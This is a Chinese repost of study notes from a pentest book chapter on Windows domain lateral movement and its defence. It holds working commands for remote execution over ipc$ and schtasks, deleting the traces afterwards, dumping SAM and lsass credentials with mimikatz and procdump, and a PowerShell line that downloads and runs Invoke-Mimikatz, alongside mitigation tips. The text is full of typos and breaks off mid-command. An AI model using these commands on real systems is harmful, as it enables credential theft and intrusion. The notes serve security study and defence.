admin 管理员组文章数量: 887021
目录
第5章域内横向移动分析及防御
5.1 常用Windows远程连接和相关命令
5.1.1 IPC
5.1.2使用Windows自带的工具获取远程主机信息
5.1.3计划任务
5.2Windows系统散列值获取分析与防范
5.2.1 LM Hash和NTLM Hash
5.2.2单机密码抓取与防范
5.2.3使hashcat获取密码
5.2.4如何防范攻击者抓取明文密码和散列值
1.设置Active Diretory 2012 R2功能级别
2.安装KB2871997
3.通过修改注册表禁止在内存中存储明文密码
4.防御mimikatz攻击
5.3哈希传递攻击分析与防范
5.3.1哈希传递攻击的概念
5.3.2哈希传递攻击分析
5.3.3更新KB2871997补丁产生的影响
5.4票据传递攻击分析与防范
5.4.1使用mimikatz进行票据传递
5.4.2使用kekeo进行票据传递
5.4.3如何防范票据传递攻击
5.5 PsExec 的使用
5.5.1 PsTools 工具包中的PsExec
5.5.2 Metasploit 中的psexec模块
5.6WMI的使用
5.6.1基本命令
5.6.2impacket工具包中的wmiexec
5.6.3wmiexec.vbs
5.6.4 Invoke- -WmiCommand
5.6.5 Invoke-WMIMethod
5.7 永恒之蓝漏洞分析与防范
5.8smbexec的使用
5.8.1 C++ 版smbexec
5.8.2 impacket工具包中的smbexec.py
5.8.3 Linux跨Windows远程执行命令
1.smbexec安装
2.工具说明
(1)主菜单项1——用于列举系统中的重要信息
(2)主菜单项2——用于在目标系统中执行命令、获取权限等。
5.9 DCOM 在远程系统中的使用
5.9.1通过本地DCOM执行命令
5.9.2使用DCOM在远程机器上执行命令
5.10 SPN在域环境中的应用
5.10.1 SPN扫描
5.10.2Kerberoast攻击分析和防范
5.11Exchange邮件服务器安全防范
5.1.1 Exchange 邮件服务器介绍
5.11.2 Exchange 服务发现
5.11.3 Exchange 的基本操作
5.11.4导出指定的电子邮件
第5章域内横向移动分析及防御
域内横向移动投不定在夏杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(Advanced Persistent Threats,APT中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)。
通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。
5.1 常用Windows远程连接和相关命令
在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH (Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程Windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件较差,无法使用图形化界面连接远程主机。此时,可以使用命令行的方式连接远程主机(最好使用Windows自带的方法对远程目标系统进行命令行下的连接操作)并执行相关命令。
在实际的网络环境中,针对此类情况,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御。
5.1.1 IPC
IPC( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载操作 还可以在日标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
首先,需要建立一个ipc$输入以下命令
C:\Users\Administrator> net use \\1.1.1.10\ipc$ "123456Aa" /user:Administrator
然后在命令行环境下输入命令net use,查看当前的连接
net use
1. ipc$的利用条件
(1)开启了139、445端
ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445 (Window 2000)端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$需要139、445端口的支持。
(2)管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等)和系统目录 winnt或 windows(admin$)。通过 ipc$,可以实现对这些默认共享目录的访问。
2. ipc$连接失败的原因
- 用户名或密码错误。
- 目标没有打开 ipc$默认共享。
- 不能成功连接目标的139、445端口。
- 命令输入错误。
3.常见错误号
- 错误号5:拒绝访问。
- 错误号51: Windows 无法找到网络路径,即网络络中存在问题
- 错误号53:找不到网络路径,包括IP地址错误、目标未开机,目标的 lanmanserver服务未启动、目标有防火墙(端口过滤)。
- 错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipc$ 已被删除。
- 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接。
- 错误号1326:未知的用户名或错误的密码。
- 错误号1792:试图登录,但是网络登录服务器没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
- 错误号2242:此用户的密码已过期。例如目标机器设置了账号管理策略,强制用户定期修改密码。
5.1.2使用Windows自带的工具获取远程主机信息
1. dir命令
在使用net use命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件
dir \\1.1.1.8\c$
2. tasklist命令
在使用net use命令与远程目标机器建立ipc$后,可以使用tasklist命令的/S、/U、 /P参数列出远程主机上运行的进程
tasklist /S 1.1.1.10 /U Administrator /P 123456Aa
5.1.3计划任务
1. at命令
at是Windows自带的用于创建计划任务的命令,它主要工作在Windows Sever 2008之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下。
- 使用net time命令确定远程机器当前的系统时间。
- 使用copy命令将Payload 文件复制到远程目标机器中。
- 使用at命令定时启动该Payload文件。
- 删除使用at命令创建计划任务的记录。
在使用at命令在远程机器上创建计划任务之前,需要使用net use命令建立ipc$。
(1)查看目标系统时间
net time命令可用于查看远程主机的系统时间。
net time \\1.1.1.8
(2)将文件复制到目标系统中
首先,在本地创建一个calc.bat文件,其内容为“calc”。然后,让 Windows运行一个“计算器“程序,使用Windows自带的copy命令将一个文件复制到远程主机的C盘中。命令如下
copy calc.bat \\1.1.1.8\C$
(3)使用at创建计划任务
使用net time命令获取当前远程主机的系统时间。使用at命令让目标系统在指定时间运行一个程序
at \\1.1.1.10 4:10PM C:\calc.bat
(4)清除at记录
计划任务不会随着它本身的执行而被删除,因此,网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击。
at \\1.1.1.10 7 /delete #删除创建的计划任务
使用at远程执行命令后,先将执行结果哦写入本地文本文件,再使用type命令远程读取该文本文件。
at \\1.1.1.10 4:10PM cmd.exe /c "ipconfig" >C:/1.txt"
type \\1.1.1.10\C$\1.txt
2.schtasks 命令
Windows Vista、Windows Server 2008及之后版本的操作系统已经开始使用schtasks 命令代替at命令。
1.在远程主机上创建一个名称为“taet”的计圳任务。该计划任务在开机时启动,启动程序为C盘下的 calc.bat,启动权限为System。
schtasks /create /s 1.1.1.10 /tn test /sc onstart /tr c:\calc.bat /ru system /f
2.在远程主机上运行名为test的计划任务
schtasks /run /s 1.1.1.10 /i /rn "test"
3.在使用schtasks命令时不需要输入密码,原因是此前已经与目标机器建立了ipc$。如果没有建立ipc$,可以添加参数/u /p
/u administrator
/p "123456Aa"
/f 强制删除
4.任务执行后删除计划任务
schtasks /delete /s 1.1.1.10 /tn "test" -f
5.最后删除ipc$
net use 名称 /del /y #在删除ipc$时,要确认删除的是自己创建的ipc$
在使用schtasks命令时,会在系统中留下日志文件C:\\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
5.2Windows系统散列值获取分析与防范
5.2.1 LM Hash和NTLM Hash
Windowus 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。Widows操作系统中的密码般由两部分组成,部分为 LMHash, 另部分为NTLMHash。在Windows操作系统中,Hash的结构通常如下。
username:RID:LM-HASH:NT-HASH
LM Hash的全名为“LAN Manager Hash",是微软为了提高Windows操作系统的安全性面采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但为了保证系统的兼容性,Windows只是将LMHash禁用了(从Windows Vista 和WindowsSever 2008版本开始,Windows操作系统默认禁用LM Hash )。LM Hash明文密码被限定在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上即可。如果LM Hash被禁用了,攻击者通过抓取的LM Hash通常为“ab35454a3435451404046“(表示LMHash为空值或被禁用)。
NTLMHash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
5.2.2单机密码抓取与防范
要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至Sytem。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。Isass.exe进程用于实现Windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的ls.exe 进程或SAM文件中导出。
在Windows操作系统中,SAM文件的保存位置是C:\WindowslSystem32\config.该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭Windows操作系统之后,使用PE盘进人文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。下面对常见的单机密码抓取工具和方法进行分析,并给出防范建议。
1. GetPass
打开GetPass工具所在的目录。打开命令行环境。GetPassword _x64.exe。 运行该程序后,即可获得明文密码
2. PwDump7
在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLM Hash,可以通过彩虹表来破解散列值。如果无法通过彩虹表来破解,可以使用哈希传递的方法横向渗透测试。
3. QuarksPwDump
下载QuarksPwDump.exe,在命令行环境中输人“QuarksPwDump.exe -dump-hash-local",导出NTML Hash
4.通过SAM和System文件抓取密码
(1)无工具导出SAM文件
reg save hklm\sam sam.hive #通过reg的save选项将注册表中的SAM,System文件导出到本地磁盘
reg save hklm\system system.hive
(2)通过读取SAM和System文件获取NTML Hash
①使用mimikatz读取
lsadump::sam /sam:sam.hive /system:system.hive #文件和mimikatz放在同一目录
②使用cain读取sam文件
③使用mimikatz直接读取本地SAM文件
将mimikatz免杀处理后上传至目标机器,在命令行中打开mimikatz
privilege::debug #提升权限
token::elevate #system权限
lsadump::sam #读取本地SAM文件,获取NTML Hash
5.使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" #在线读取散列值及铭文密码
6.使用mimikatz离线读取lsass.dmp文件
(1)导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件。
在Windows NT6中,可以在任务管理器中直接进行Dump操作
(2)使用Procdump导出lsass.dmp文件。
Procdump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
(3)使用mimikatz导出lsass.dmp文件中的密码散列值
运行mimikatz,将lsass.dmp文件加载到mimikatz
sekurlsa::minidump lsass.DMP #看到Switch to MINIDUMP 加载成功
sekurlsa::logonPasswords full #导出密码散列值
7.使用power shell对散列值进行dump
管理员权限打开powershell,进入nishang目录,将Get-PassHashes.ps1脚本导入
Get-PassHashes
8.使用Powershell远程加载mimikatz抓取散列值和密码
powershell IEX (New-Object Net WebClient).DownloadString('https://.../Invoke-Mimikatz.ps1');Invoke-Mimikatz
9.单机密码抓取的防范方法
微软为了防止用户密码在内存中以明文形式泄露,发布了补T K28797关闭了Waiget功能。
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。
在命令行环境中开启或关闭Wdigest Auth,有如下两种方法。
(1)使用reg add命令
开启WdigestAuth,命令如下。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f #关闭
(2)使用PowerShell 开启/关闭Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 #开启
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0 #关闭
5.2.3使hashcat获取密码
hashcat用法
5.2.4如何防范攻击者抓取明文密码和散列值
1.设置Active Diretory 2012 R2功能级别
Windws Sever 2012R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放人该组,攻击者就无法使用mimikaz等工具抓取明文密码和散列值了。
实验环境
- 操作系统: Windors Serer 2012 R2,未更新任何朴丁。
- 域名: hello.testlab
- 用户名: Administrator
- 密码: 123456Aa
控制面板\系统和安全\管理工具\AD用户和计算机\Users
pricilege::de
版权声明:本文标题:第5章域内横向移动分析及防御 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1726361873h944818.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论